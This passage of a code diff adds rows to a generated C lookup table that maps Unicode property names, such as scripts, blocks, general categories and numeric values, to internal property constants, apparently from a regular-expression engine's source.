+  {     3,  5544,  7750,  13,   6, PL_NV__800000 }   /* numericvalue=800000 */,
+  {     0,   184,  7232,   2,   8, PL_JAMOEXTA }   /* isjamoexta */,
+  {    15,   184,   568,   2,   2, PL_NB }   /* isnb */,
+  {     2,   184,  4771,   2,  14, PL_INGREEK }   /* isgreekandcoptic */,
+  {    24,   184,  2044,   2,  14, PL_MEETEIMAYEKEXT }   /* ismeeteimayekext */,
+  {     1,  7136,  1081,   6,  26, PL_HALFANDFULLFORMS }   /* block=halfwidthandfullwidthforms */,
+  {     9,   184,  1585,   2,   4, PL_JAMO }   /* isjamo */,
+  {     0,  7380,    16,   4,   1, PL_CCC__B }   /* ccc=b */,
+  {     0,  6890,  7786,   4,   6, PL_INCHAKMA }   /* blk=chakma */,
+  {     3,  2229,     0,  17,   0, PL_L }   /* generalcategory=l */,
+  {     4,  8508,  1590,   4,   4, PL_SC__LATN }   /* sc=latin */,
+  {     4,  7344,  3223,   4,   2, -PL_XIDS }   /* xids=n */,
+  {     0,   119,  7201,   3,   7, PL_INGURMUKHI }   /* ingurmukhi */,
+  {     1,    21,   568,   2,   2, PL_NB }   /* innb */,
+  {     0,  8508,  4789,   4,   2, PL_LAO }   /* sc=lao */,
+  {     4,    21,  3239,   4,  15, PL_ALCHEMICAL }   /* inalchemicalsymbols */,
+  {     1,  1402,  6121,   3,   5, PL_DOMINO }   /* indomino */,
+  {     2,  8376,    18,   3,   2, PL_RI }   /* lb=ri */,
+  {     0,  5250,  3223,   8,   3, -PL_XPOSIXXDIGIT }   /* hexdigit=no */,
+  {     3,  4630,  1930,   3,   4, PL_XPOSIXUPPER }   /* isupper */,
+  {    34,  5583,  7951,  13,   5, PL_QMARK }   /* quotationmark=true */,
+  {     2,  8096,  7010,   4,   4, PL_ITAL }   /* scx=ital */,
+  {     0,  4479,   966,  15,   2, PL_NFKCQC__N }   /* nfkcquickcheck=no */,
+  {    10,  6890,  3322,   4,  17, PL_CYRILLICEXTA }   /* blk=cyrillicextendeda */,
+  {     2,  4494,     0,  15,   0, PL_NARB }   /* oldnortharabian */,
+  {     1,  3129,  2408,  17,   4, PL_BRAH }   /* scriptextensions=brah */,
+  {     0,  6483,  3223,   4,   2, -PL_XIDC }   /* xidc=n */,
+  {     0,  3129,  7200,  17,   8, PL_GURU }   /* scriptextensions=gurmukhi */,
+  {     0,  4314,  2437,  13,   3, PL_JG__YEH }   /* joininggroup=yeh */,
+  {     0,  5544,  8643,  13,   2, PL_NV__22 }   /* numericvalue=22 */,
+  {     0,  3129,  7513,  17,   7, PL_MAND }   /* scriptextensions=mandaic */,
+  {    68,  8816,  7941,   3,   2, PL_NV__11 }   /* nv=11 */,
+  {     0,  7459,  8584,   3,   4, PL_XSUX }   /* sc=xsux */,
+  {     0,  7288,  8356,   7,   4, PL_SC__KNDA }   /* script=knda */,
+  {     0,  7192,     0,   8,   0, PL_GUJR }   /* gujarati */,
+  {     0,  8272,  3581,   4,   2, PL_CWCF }   /* cwcf=t */,
+  {     0,  4402,  6297,   3,  10, PL_MISCSYMBOLS }   /* inmiscsymbols */,
+  {    27,  8096,  8284,   4,   4, PL_DSRT }   /* scx=dsrt */,
+  {     1,  6890,   468,   4,  11, PL_INPUNCTUATION }   /* blk=punctuation */,
+  {     2,  6706,  7714,  10,   1, PL_IN__3 }   /* presentin=3 */,
+  {     1,  8196,  7720,   4,   1, PL_AGE__4 }   /* age=4 */,
+  {     0,   892,  7768,  17,   6, -PL_VS }   /* variationselector=false */,
+  {     2,  4402,  3883,   3,  15, PL_MYANMAREXTA }   /* inmyanmarextendeda */,
+  {    10,  3509,  7951,  17,   5, PL_PATWS }   /* patternwhitespace=true */,
+  {     0,  1378,     0,  24,   0, PL_HIGHPUSURROGATES }   /* highprivateusesurrogates */,
+  {     0,  1402,  2349,  24,  12, PL_INPC__TOPANDBOTTOM }   /* indicpositionalcategory=topandbottom */,
+  {     0,  7136,  8568,   6,   3, PL_INVAI }   /* block=vai */,
+  {     1,  6890,   750,   4,  22, PL_ENCLOSEDIDEOGRAPHICSUP }   /* blk=enclosedideographicsup */,
+  {     9,  6219,  7768,  11,   6, -PL_JOINC }   /* joincontrol=false */,
+  {     2,  3129,  7527,  17,   7, PL_MULT }   /* scriptextensions=multani */,
+  {     0,  8894,    18,   3,   1, PL_VO__R }   /* vo=r */,
+  {     0,  7240,     0,   8,   0, PL_JAMOEXTB }   /* jamoextb */,
+  {    18,  4402,   184,   3,  19, PL_MISCSYMBOLS }   /* inmiscellaneoussymbols */,
+  {     0,  2221,  4046,   3,   3, PL_LB__H2 }   /* hst=lv */,
+  {     0,  7380,    24,   4,   1, PL_CCC__L }   /* ccc=l */,
+  {     0,    34,  7951,   3,   5, PL_EXT }   /* ext=true */,
+  {     0,  1159,  7997,  25,   2, PL_CWKCF }   /* changeswhennfkccasefolded=y */,
+  {     1,  6890,  2674,   4,   9, PL_INSUNDANESE }   /* blk=sundanese */,
+  {    26,  8026,  6030,   3,   7, PL_PHAISTOS }   /* inphaistos */,
+  {     1,  7459,  7780,   3,   6, PL_CARI }   /* sc=carian */,
+  {     2,  5134,  7045,   4,   7, PL_PAUC }   /* ispaucinhau */,
+  {     7,  7459,  4010,   3,   4, PL_TANG }   /* sc=tang */,
+  {     1,  3854,     0,  10,   0, PL_SM }   /* mathsymbol */,
+  {    16,  5777,     0,   4,   0, PL_HEBR }   /* hebr */,
+  {     4,  5245,  7997,  13,   4, PL_POSIXXDIGIT }   /* asciihexdigit=yes */,
+  {    34,  3129,  4134,  17,   7, PL_BRAI }   /* scriptextensions=braille */,
+  {     0,  7128,     0,   4,   0, PL_BASS }   /* bass */,
+  {     0,  8026,  6374,   3,  10, PL_INPAHAWHHMONG }   /* inpahawhhmong */,
+  {     1,  7478,  2675,   3,   8, PL_SUND }   /* issundanese */,
+  {    16,  8096,  7034,   4,   9, PL_PALM }   /* scx=palmyrene */,
+  {     4,  7136,  1566,   6,   6, PL_INHANGUL }   /* block=hangul */,
+  {     8,   436,  7768,   5,   6, -PL_NCHAR }   /* nchar=false */,
+  {     0,  8011,   468,   3,  11, PL_P }   /* gc=punctuation */,
+  {     1,  1627,     0,   7,   0, PL_XPOSIXCNTRL }   /* control */,
+  {     2,  6890,  6953,   4,   9, PL_LATINEXTD }   /* blk=latinextd */,
+  {     4,  2236,    36,  10,   1, PL_LT }   /* category=lt */,
+  {     4,  8011,   235,   3,   2, PL_LO }   /* gc=lo */,
+  {     0,  6890,  3021,   4,  18, PL_LATINEXTADDITIONAL }   /* blk=latinextadditional */,
+  {     1,  8196,  8855,   4,   3, PL_AGE__3_DOT_2 }   /* age=v32 */,
+  {     2,   184,  4813,   2,   7, PL_KANASUP }   /* iskanasup */,
+  {     2,  7136,  6307,   6,  11, PL_MYANMAREXTA }   /* block=myanmarexta */,
+  {     7,  1474,     0,  23,   0, PL_BPT__C }   /* bidipairedbrackettype=c */,
+  {    15,  8011,  2169,   3,  20, PL_PC }   /* gc=connectorpunctuation */,
+  {     2,  4314,  5065,  13,  14, PL_JG__NOJOININGGROUP }   /* joininggroup=nojoininggroup */,
+  {     7,  7136,  7192,   6,   8, PL_INGUJARATI }   /* block=gujarati */,
+  {     0,   184,  1621,   2,   6, PL_CF }   /* isformat */,
+  {     2,  8816,  7710,   3,   1, PL_NV__6 }   /* nv=6 */,
+  {     0,    21,  2390,   3,  18, PL_ANCIENTGREEKNUMBERS }   /* inancientgreeknumbers */,
+  {     1,  7136,  5825,   6,   7, PL_MAHJONG }   /* block=mahjong */,
+  {     0,  7136,  1981,   6,   8, PL_INCYRILLIC }   /* block=cyrillic */,
+  {     0,  8572,  1621,   3,   6, PL_WB__FO }   /* wb=format */,
+  {     0,  2229,  1204,  16,   2, PL_PO }   /* generalcategory=po */,
+  {    20,  6109,  1307,  10,  12, PL_M }   /* category=combiningmark */,
+  {     0,  3129,  7043,  17,   4, PL_PAUC }   /* scriptextensions=pauc */,
+  {     0,  4239,  7951,   4,   5, PL_DASH }   /* dash=true */,
+  {     3,  8096,  8220,   4,   4, PL_ARMN }   /* scx=armn */,
+  {     0,    34,  3223,   3,   3, -PL_EXT }   /* ext=no */,
+  {    20,  7459,  2841,   3,   6, PL_SC__COPT }   /* sc=coptic */,
+  {     0,  4590,  7997,   2,   2, PL_VS }   /* vs=y */,
+  {     1,  7136,  2949,   6,  18, PL_INPUNCTUATION }   /* block=generalpunctuation */,
+  {     8,  8011,  4599,   3,  15, PL_LU }   /* gc=uppercaseletter */,
+  {     5,  8504,   807,   3,   2, PL_SB__SP }   /* sb=sp */,
+  {     0,  5134,    83,   3,   2, PL_PCM }   /* ispcm */,
+  {    22,  2134,  7997,   3,   4, PL_XPOSIXXDIGIT }   /* hex=yes */,
+  {     0,  8288,  4188,   3,   6, PL_DT__MED }   /* dt=medial */,
+  {    20,  3129,  7882,  17,   4, PL_LYDI }   /* scriptextensions=lydi */,
+  {     0,  8783,  7997,   3,   2, PL_CWU }   /* cwu=y */,
+  {    51,  8096,  8253,   5,   3, PL_BUHD }   /* scx=buhd */,
+  {     2,  8504,   496,   3,   2, PL_LB__NU }   /* sb=nu */,
+  {     0,  8340,   218,   3,   2, PL_JG__PE }   /* jg=pe */,
+  {     0,  7478,  6407,   3,  10, PL_SORA }   /* issorasompeng */,
+  {     0,  6890,  8111,   4,   5, PL_INTAKRI }   /* blk=takri */,
+  {     0,  7224,  5253,   3,   5, PL_XPOSIXXDIGIT }   /* isxdigit */,
+  {     6,   184,  6208,   2,   5, PL_JOINC }   /* isjoinc */,
+  {     0,  5544,  7750,  13,   4, PL_NV__8000 }   /* numericvalue=8000 */,
+  {     0,  7224,  8585,   3,   3, PL_XSUX }   /* isxsux */,
+  {     0,  6472,  8935,  10,   2, PL_WB__XX }   /* wordbreak=xx */,
+  {     0,  8816,  7732,   3,   1, PL_NV__5 }   /* nv=5 */,
+  {     2,   117,  4300,   3,  14, PL_INIMPERIALARAMAIC }   /* inimperialaramaic */,
+  {     0,  7846,     0,   6,   0, PL_KTHI }   /* kaithi */,
+  {    14,  6506,  4832,   3,   9, PL_YIRADICALS }   /* isyiradicals */,
+  {    16,  7906,   800,   4,   3, PL_SC__KNDA }   /* sc=knda */,
+  {     0,  2598,     0,   4,   0, PL_MERO }   /* mero */,
+  {     0,  3424,  7951,  17,   5, PL_IDSB }   /* idsbinaryoperator=true */,
+  {     3,  6890,  5801,   4,   5, PL_INKHMER }   /* blk=khmer */,
+  {     6,  5544,  8663,  13,   3, PL_NV__2_SLASH_3 }   /* numericvalue=2/3 */,
+  {     0,  8340,  6065,   3,  11, PL_JG__AFRICANNOON }   /* jg=africannoon */,
+  {     2,  8340,  5528,   3,   3, PL_JG__WAW }   /* jg=waw */,
+  {     5,   184,  1940,   3,  20, PL_CJKCOMPATFORMS }   /* iscjkcompatibilityforms */,
+  {     0,  6890,  7034,   4,   9, PL_PALM }   /* blk=palmyrene */,
+  {     5,  4630,  7675,   3,   6, PL_UCASEXT }   /* isucasext */,
+  {     3,  7136,  2895,   6,   8, PL_INETHIOPIC }   /* block=ethiopic */,
+  {     9,  6890,  1107,   4,   8, PL_INKATAKANA }   /* blk=katakana */,
+  {     0,  6263,   807,  10,   2, PL_LB__SP }   /* linebreak=sp */,
+  {     0,  6713,  8891,   3,   3, PL_IN__9 }   /* in=v90 */,
+  {     0,  5134,     7,   3,   1, PL_PC }   /* ispc */,
+  {     2,  1746,    34,  21,   6, PL_GREXT }   /* graphemeclusterbreak=extend */,
+  {     2,   184,  1012,   2,   6, PL_L }   /* isletter */,
+  {     0,    21,  3021,   2,  18, PL_LATINEXTADDITIONAL }   /* inlatinextadditional */,
+  {     4,  8344,     7,   3,   1, PL_JT__C }   /* jt=c */,
+  {     4,  7288,  8348,   7,   4, PL_SC__KALI }   /* script=kali */,
+  {     4,  6890,  2541,   4,  19, PL_JAMOEXTA }   /* blk=hanguljamoextendeda */,
+  {     0,  7136,  2841,   6,  18, PL_COPTICEPACTNUMBERS }   /* block=copticepactnumbers */,
+  {     4,  3129,  7152,  17,   8, PL_DUPL }   /* scriptextensions=duployan */,
+  {     0,  8336,  7655,   4,   5, PL_INTIBETAN }   /* intibetan */,
+  {     1,  7459,  7272,   3,   8, PL_SC__MAHJ }   /* sc=mahajani */,
+  {     2,  7226,    62,   6,   5, PL_XPOSIXGRAPH }   /* xposixgraph */,
+  {     0,  7136,  3111,   6,   4, PL_RUMI }   /* block=rumi */,
+  {     8,  7288,  8460,   7,   4, PL_SC__PHLP }   /* script=phlp */,
+  {     3,  7443,     0,   4,   0, PL_GRAN }   /* gran */,
+  {     1,  7478,  2675,   3,  18, PL_SUNDANESESUP }   /* issundanesesupplement */,
+  {     1,  7288,  6439,   7,  11, PL_SC__SYLO }   /* script=sylotinagri */,
+  {     0,  5765,     0,  12,   0, PL_GRBASE }   /* graphemebase */,
+  {     1,  5544,  7732,  13,   1, PL_NV__5 }   /* numericvalue=5 */,
+  {    40,  8101,  3581,   5,   2, PL_STERM }   /* sterm=t */,
+  {     1,    78,     0,   6,   0, PL_ARAB }   /* arabic */,
+  {     1,  5544,  8148,  13,   3, PL_NV__1_SLASH_4 }   /* numericvalue=1/4 */,
+  {     1,  6472,  5772,  10,   5, PL_WB__EB }   /* wordbreak=ebase */,
+  {     5,  7906,     8,   4,   3, PL_SC__KANA }   /* sc=kana */,
+  {     1,  6890,  2617,   4,  19, PL_MODIFIERTONELETTERS }   /* blk=modifiertoneletters */,
+  {     0,  8101,  7768,   5,   2, -PL_STERM }   /* sterm=f */,
+  {     1,  8816,  8909,   3,   2, PL_NV__45 }   /* nv=45 */,
+  {     7,  6210,   691,   3,  29, PL_CUNEIFORMNUMBERS }   /* incuneiformnumbersandpunctuation */,
+  {    38,  6890,  1658,   4,  22, PL_CJKCOMPATIDEOGRAPHSSUP }   /* blk=cjkcompatideographssup */,
+  {     0,  7136,   864,   6,  28, PL_SUPPUAB }   /* block=supplementaryprivateuseareab */,
+  {     4,  7459,  7336,   3,   4, PL_UGAR }   /* sc=ugar */,
+  {     6,  5544,  8144,  13,   4, PL_NV__1_SLASH_20 }   /* numericvalue=1/20 */,
+  {     0,  3129,  7822,  17,   6, PL_HATR }   /* scriptextensions=hatran */,
+  {     4,  3129,  8416,  17,   4, PL_MYMR }   /* scriptextensions=mymr */,
+  {    36,  8096,  7590,   4,   7, PL_SHRD }   /* scx=sharada */,
+  {     3,  6890,   690,   4,  16, PL_CUNEIFORMNUMBERS }   /* blk=cuneiformnumbers */,
+  {     0,  3129,  8460,  17,   4, PL_PHLP }   /* scriptextensions=phlp */,
+  {     0,  1426,  7328,  22,   8, PL_INSC__TONEMARK }   /* indicsyllabiccategory=tonemark */,
+  {     0,  7136,  7248,   6,   8, PL_INJAVANESE }   /* block=javanese */,
+  {    15,   184,  1506,   2,  14, PL_MUSIC }   /* ismusicalsymbols */,
+  {     3,  5544,  7720,  13,   2, PL_NV__40 }   /* numericvalue=40 */,
+  {     2,  5681,     0,  12,   0, PL_CYRILLICEXTA }   /* cyrillicexta */,
+  {    10,  1680,     0,   6,   0, PL_ZYYY }   /* common */,
+  {     4,  8096,  8480,   4,   4, PL_QAAI }   /* scx=qaai */,
+  {     4,  7136,  2693,   6,  19, PL_SUPARROWSA }   /* block=supplementalarrowsa */,
+  {     0,  8036,  7683,   4,   5, PL_ZZZZ }   /* isunknown */,
+  {     0,   184,  6597,   3,   9, PL_COMPATJAMO }   /* iscompatjamo */,
+  {     2,  5645,  7997,   5,   4, PL_BIDIC }   /* bidic=yes */,
+  {     0,  7288,  2098,   8,   3, PL_BALI }   /* script=bali */,
+  {     6,  7224,  6472,   8,   4, PL_XPOSIXWORD }   /* isxposixword */,
+  {     2,  8096,  8460,   4,   4, PL_PHLP }   /* scx=phlp */,
+  {     0,  7380,  8691,   7,   2, PL_CCC__28 }   /* ccc=ccc28 */,
+  {     2,  3129,  8468,  17,   4, PL_MIAO }   /* scriptextensions=plrd */,
+  {     4,  1702,     0,  22,   0, PL_DIACRITICALSFORSYMBOLS }   /* diacriticalsforsymbols */,
+  {     3,  2100,  8067,   3,   4, PL_ORYA }   /* isoriya */,
+  {    32,  8096,  7429,   4,   7, PL_DSRT }   /* scx=deseret */,
+  {     0,  7136,  3237,   6,  10, PL_ALCHEMICAL }   /* block=alchemical */,
+  {     1,  4314,  4384,  13,   3, PL_JG__SAD }   /* joininggroup=sad */,
+  {     4,  7380,  8673,   4,   2, PL_CCC__14 }   /* ccc=14 */,
+  {     0,  8096,  8368,   4,   4, PL_LAO }   /* scx=laoo */,
+  {     3,  6472,    72,  10,   2, PL_WB__LE }   /* wordbreak=le */,
+  {     1,  8026,  6030,   3,  11, PL_PHAISTOS }   /* inphaistosdisc */,
+  {    17,  7136,  6373,   6,  11, PL_INPAHAWHHMONG }   /* block=pahawhhmong */,
+  {    20,  3129,  8368,  17,   3, PL_LAO }   /* scriptextensions=lao */,
+  {     0,   974,  8160,  27,   2, PL_CCC__13 }   /* canonicalcombiningclass=ccc13 */,
+  {     0,   184,  8428,   2,   4, PL_NEWA }   /* isnewa */,
+  {     0,  1426,  2625,  22,  10, PL_INSC__TONELETTER }   /* indicsyllabiccategory=toneletter */,
+  {     0,  1963,  7768,   7,   6, -PL_RADICAL }   /* radical=false */,
+  {     1,  1680,     0,  22,   0, PL_INDICNUMBERFORMS }   /* commonindicnumberforms */,
+  {     0,  7136,   954,   6,   5, PL_INGREEK }   /* block=greek */,
+  {     1,   974,  8696,  24,   3, PL_CCC__AR }   /* canonicalcombiningclass=232 */,
+  {     8,  1202,  7768,   3,   2, -PL_DEP }   /* dep=f */,
+  {     1,  7288,  8368,   7,   3, PL_LAO }   /* script=lao */,
+  {     0,   184,  4104,   2,   5, PL_BAMU }   /* isbamum */,
+  {    39,  3610,     0,   8,   0, PL_BOPO }   /* bopomofo */,
+  {     4,   184,  7443,   2,   4, PL_GRAN }   /* isgran */,
+  {     0,  1503,  2896,   3,   7, PL_INETHIOPIC }   /* inethiopic */,
+  {     0,   954,     0,   5,   0, PL_GREK }   /* greek */,
+  {     0,  7136,  2149,   6,  20, PL_INANATOLIANHIEROGLYPHS }   /* block=anatolianhieroglyphs */,
+  {     0,  6109,    25,  10,   1, PL_CS }   /* category=cs */,
+  {     2,  8240,  1804,   3,   3, PL_BC__RLE }   /* bc=rle */,
+  {     4,  8504,  7562,   3,   7, PL_SB__LE }   /* sb=oletter */,
+  {     1,  8240,  2309,   3,  20, PL_BC__PDF }   /* bc=popdirectionalformat */,
+  {     0,  8798,  3223,   3,   2, -PL_LOE }   /* loe=n */,
+  {     0,   186,  3223,   2,   2, -PL_CE }   /* ce=n */,
+  {     2,  8816,  7714,   3,   3, PL_NV__300 }   /* nv=300 */,
+  {     1,  7136,  8408,   6,   3, PL_INMRO }   /* block=mro */,
+  {     1,  7380,    23,   4,   2, PL_CCC__AL }   /* ccc=al */,
+  {     2,  8240,    25,   4,   1, PL_BC__ES }   /* bc=es */,
+  {     2,  2750,  7951,  19,   5, PL_TERM }   /* terminalpunctuation=true */,
+  {     2,  3658,     0,  16,   0, PL_PE }   /* closepunctuation */,
+  {     8,  7288,  3882,   7,   7, PL_SC__MYMR }   /* script=myanmar */,
+  {     3,  4329,     0,  15,   0, PL_LL }   /* lowercaseletter */,
+  {    15,  7136,  2107,   6,   7, PL_INSINHALA }   /* block=sinhala */,
+  {     6,  1929,  7997,   9,   4, PL_XPOSIXUPPER }   /* uppercase=yes */,
+  {     2,   184,   779,   2,  29, PL_MISCARROWS }   /* ismiscellaneoussymbolsandarrows */,
+  {     1,   974,  8685,  24,   2, PL_CCC__24 }   /* canonicalcombiningclass=24 */,
+  {     0,  7136,  7810,   6,   6, PL_INGOTHIC }   /* block=gothic */,
+  {     0,  7786,     0,   6,   0, PL_CAKM }   /* chakma */,
+  {     0,  1892,  3223,   5,   3, -PL_CASED }   /* cased=no */,
+  {     3,  8006,  7951,   5,   5, PL_CWKCF }   /* cwkcf=true */,
+  {     0,  7224,  8081,   8,   5, PL_XPOSIXPRINT }   /* isxposixprint */,
+  {     0,  7380,  7714,   7,   2, PL_CCC__30 }   /* ccc=ccc30 */,
+  {     8,  7459,  8432,   3,   3, PL_NKO }   /* sc=nko */,
+  {     1,  6890,  7882,   4,   6, PL_INLYDIAN }   /* blk=lydian */,
+  {     0,  7136,    42,   6,   3, PL_CJK }   /* block=cjk */,
+  {     2,  7136,  5232,   6,  13, PL_AEGEANNUMBERS }   /* block=aegeannumbers */,
+  {     0,  8096,  6736,   4,  10, PL_SAUR }   /* scx=saurashtra */,
+  {     4,  8021,  7768,   5,   6, -PL_GREXT }   /* grext=false */,
+  {     0,  5323,     0,  13,   0, PL_ME }   /* enclosingmark */,
+  {     2,  5284,  3223,  13,   2, -PL_CI }   /* caseignorable=n */,
+  {     3,   974,  8655,  27,   2, PL_CCC__33 }   /* canonicalcombiningclass=ccc33 */,
+  {     0,  2859,     7,  18,   3, PL_DT__CAN }   /* decompositiontype=can */,
+  {     7,  7459,  7443,   3,   4, PL_SC__GRAN }   /* sc=gran */,
+  {     0,  7224,  7345,   3,   7, PL_XIDS }   /* isxidstart */,
+  {     0,  7010,     0,   4,   0, PL_ITAL }   /* ital */,
+  {     0,  1876,  3223,  21,   2, -PL_CWL }   /* changeswhenlowercased=n */,
+  {    19,  3129,  7912,  17,   6, PL_TELU }   /* scriptextensions=telugu */,
+  {     1,  6210,  3554,   4,   4, PL_INCARIAN }   /* incarian */,
+  {    14,  2100,  6341,   3,  10, PL_LO }   /* isotherletter */,
+  {     0,    96,  7768,  10,   6, -PL_XPOSIXALPHA }   /* alphabetic=false */,
+  {     3,  3129,  5801,  17,   5, PL_KHMR }   /* scriptextensions=khmer */,
+  {    16,  5609,     0,  12,   0, PL_ALPHABETICPF }   /* alphabeticpf */,
+  {    52,   892,  7951,  17,   5, PL_VS }   /* variationselector=true */,
+  {     0,   184,   959,   2,   5, PL_MUSIC }   /* ismusic */,
+  {     0,  5544,  5219,  13,   7, PL_NV__1000000 }   /* numericvalue=1000000 */,
+  {     0,  4198,  2969,   4,   9, PL_GEORGIANSUP }   /* ingeorgiansup */,
+  {     1,  4314,  3786,  13,  16, PL_JG__MANICHAEANDALETH }   /* joininggroup=manichaeandaleth */,
+  {    68,  6890,  4254,   4,  15, PL_DIACRITICALSEXT }   /* blk=diacriticalsext */,
+  {     4,  8096,  8372,   4,   4, PL_LATN }   /* scx=latn */,
+  {     2,  4757,  7768,  14,   2, -PL_GREXT }   /* graphemeextend=f */,
+  {     3,  7288,  8496,   7,   4, PL_SAMR }   /* script=samr */,
+  {     9,  4554,   807,  14,   2, PL_SB__SP }   /* sentencebreak=sp */,
+  {    12,  2967,     0,  18,   0, PL_GEORGIANSUP }   /* georgiansupplement */,
+  {     9,  8036,  1200,   5,   4, PL_ANY }   /* isunicode */,
+  {     0,   133,     0,   4,   0, PL_M }   /* mark */,
+  {    34,  8816,  7744,   3,   6, PL_NV__700000 }   /* nv=700000 */,
+  {    48,  3129,  2484,  17,  19, PL_EGYP }   /* scriptextensions=egyptianhieroglyphs */,
+  {     0,  7136,  2269,   6,  20, PL_ININSCRIPTIONALPAHLAVI }   /* block=inscriptionalpahlavi */,
+  {     2,   122,  3223,   9,   3, -PL_DIA }   /* diacritic=no */,
+  {     1,  7471,    96,   7,   5, PL_POSIXALPHA }   /* isposixalpha */,
+  {     4,  6713,  8756,   3,   3, PL_IN__6_DOT_3 }   /* in=6.3 */,
+  {     1,  6613,  7823,   3,   5, PL_HATR }   /* ishatran */,
+  {     2,  6917,  5779,   4,   4, PL_INHEBREW }   /* inhebrew */,
+  {     3,  7459,  2360,   3,   4, PL_SC__MAND }   /* sc=mand */,
+  {    34,  8464,     0,   4,   0, PL_PHNX }   /* phnx */,
+  {     6,   184,   316,   2,  33, PL_MISCMATHSYMBOLSB }   /* ismiscellaneousmathematicalsymbolsb */,
+  {     0,  5645,  2088,  10,   3, PL_BC__PDI }   /* bidiclass=pdi */,
+  {     0,  6890,  8388,   4,   4, PL_LISU }   /* blk=lisu */,
+  {     0,  8308,     0,   4,   0, PL_GURU }   /* guru */,
+  {     3,  5544,  7720,  13,   5, PL_NV__40000 }   /* numericvalue=40000 */,
+  {     1,  8288,  2369,   3,   4, PL_DT__VERT }   /* dt=vert */,
+  {     6,  3129,  7611,  17,   4, PL_SOYO }   /* scriptextensions=soyo */,
+  {     1,  7798,  7997,   6,   2, PL_COMPEX }   /* compex=y */,
+  {    29,  3424,  7768,   4,   6, -PL_IDSB }   /* idsb=false */,
+  {     3,  8280,     0,   4,   0, PL_CYRL }   /* cyrl */,
+  {     1,  7336,     0,   4,   0, PL_UGAR }   /* ugar */,
+  {     6,  5645,     8,  10,   2, PL_BC__AN }   /* bidiclass=an */,
+  {    65,  6890,  3738,   4,   9, PL_LATIN1 }   /* blk=latin1sup */,
+  {     2,   808,     0,  18,   0, PL_PHONETICEXT }   /* phoneticextensions */,
+  {    64,  8096,  7200,   4,   8, PL_GURU }   /* scx=gurmukhi */,
+  {     2,  8240,    23,   3,   2, PL_BC__AL }   /* bc=al */,
+  {     2,   184,  5336,   2,  13, PL_GREEKEXT }   /* isgreekextended */,
+  {     3,  8340,  5479,   3,  13, PL_JG__MANICHAEANONE }   /* jg=manichaeanone */,
+  {     1,  5645,  8813,  10,   3, PL_BC__NSM }   /* bidiclass=nsm */,
+  {     2,  2859,   720,  18,   3, PL_DT__ENC }   /* decompositiontype=enc */,
+  {     5,  4757,  3581,  14,   2, PL_GREXT }   /* graphemeextend=t */,
+  {    10,  5192,  3425,   3,  16, PL_IDSB }   /* isidsbinaryoperator */,
+  {     0,   184,  8798,   2,   3, PL_LOE }   /* isloe */,
+  {     0,  2750,  3223,  19,   2, -PL_TERM }   /* terminalpunctuation=n */,
+  {     0,  7478,  7605,   3,   3, PL_SIDD }   /* issidd */,
+  {     0,   779,     0,  29,   0, PL_MISCARROWS }   /* miscellaneoussymbolsandarrows */,
+  {     0,  7345,  3581,   7,   2, PL_IDS }   /* idstart=t */,
+  {    15,  2065,  3223,  21,   2, -PL_NCHAR }   /* noncharactercodepoint=n */,
+  {     0,  4402,  5532,   3,  12, PL_MISCTECHNICAL }   /* inmisctechnical */,
+  {     0,  7459,  7366,   3,   4, PL_SC__BENG }   /* sc=beng */,
+  {     1,  7136,  7034,   6,   9, PL_PALM }   /* block=palmyrene */,
+  {     9,  1426,  3626,  22,  16, PL_INSC__CANTILLATIONMARK }   /* indicsyllabiccategory=cantillationmark */,
+  {    40,  3516,  3223,  10,   2, -PL_XPOSIXSPACE }   /* whitespace=n */,
+  {     0,  8026,  7035,   3,   8, PL_PALM }   /* inpalmyrene */,
+  {     1,  8816,  7756,   3,   2, PL_NV__90 }   /* nv=90 */,
+  {     0,   184,  3610,   2,  11, PL_BOPOMOFOEXT }   /* isbopomofoext */,
+  {     8,  1834,  7768,  21,   2, -PL_CWCF }   /* changeswhencasefolded=f */,
+  {     4,   184,  5765,   2,  12, PL_GRBASE }   /* isgraphemebase */,
+  {     5,  6756,  3223,  10,   2, -PL_SD }   /* softdotted=n */,
+  {     0,  8816,  8176,   3,   4, PL_NV__3_SLASH_20 }   /* nv=3/20 */,
+  {     6,  3755,  1727,   5,  19, PL_EARLYDYNASTICCUNEIFORM }   /* inearlydynasticcuneiform */,
+  {     0,  6554,  4135,   3,  14, PL_BRAI }   /* inbraillepatterns */,
+  {     0,  6263,  1055,  10,  26, PL_LB__CJ }   /* linebreak=conditionaljapanesestarter */,
+  {     0,   184,    43,   3,  35, PL_CJKCOMPATIDEOGRAPHSSUP }   /* iscjkcompatibilityideographssupplement */,
+  {     0,  8780,  7768,   3,   6, -PL_CWT }   /* cwt=false */,
+  {     9,  7906,  6293,   5,   2, PL_KHMR }   /* sc=khmr */,
+  {     0,  8816,  8901,   3,   2, PL_NV__36 }   /* nv=36 */,
+  {     2,  2229,  5082,  16,  11, PL_MC }   /* generalcategory=spacingmark */,
+  {     6,  6890,  8400,   4,   4, PL_INMIAO }   /* blk=miao */,
+  {    19,  5134,  8082,   3,   4, PL_XPOSIXPRINT }   /* isprint */,
+  {     4,  7840,   893,   3,  17, PL_INVS }   /* isvariationselectors */,
+  {    20,  5645,   427,  10,   2, PL_BC__ES }   /* bidiclass=es */,
+  {     0,  5134,   850,   3,   9, PL_CO }   /* isprivateuse */,
+  {     0,  6263,   534,  10,   2, PL_LB__NS }   /* linebreak=ns */,
+  {     5,  4402,  3899,   3,  15, PL_MYANMAREXTB }   /* inmyanmarextendedb */,
+  {     0,  8460,     0,   4,   0, PL_PHLP }   /* phlp */,
+  {     0,  6890,  7810,   4,   6, PL_INGOTHIC }   /* blk=gothic */,
+  {     0,    76,  7096,   2,   3, PL_NT__NU }   /* nt=nu */,
+  {     2,  6263,  5772,  10,   5, PL_LB__EB }   /* linebreak=ebase */,
+  {     1,  6890,  4300,   5,  14, PL_INIMPERIALARAMAIC }   /* blk=imperialaramaic */,
+  {    24,    18,  3223,   2,   2, -PL_RI }   /* ri=n */,
+  {     1,  8011,   206,   3,   2, PL_PI }   /* gc=pi */,
+  {     6,  1189,     0,   2,   0, PL_LT }   /* lt */,
+  {     0,  3946,     0,  16,   0, PL_STERM }   /* sentenceterminal */,
+  {     1,  3543,     0,  17,   0, PL_SMALLFORMS }   /* smallformvariants */,
+  {     2,  5825,     0,   7,   0, PL_MAHJONG }   /* mahjong */,
+  {     1,   184,  3738,   2,   9, PL_LATIN1 }   /* islatin1sup */,
+  {     0,  2134,  7768,   3,   2, -PL_XPOSIXXDIGIT }   /* hex=f */,
+  {     7,  8096,  7351,   4,   4, PL_TALE }   /* scx=tale */,
+  {     0,   974,  8164,  24,   2, PL_CCC__15 }   /* canonicalcombiningclass=15 */,
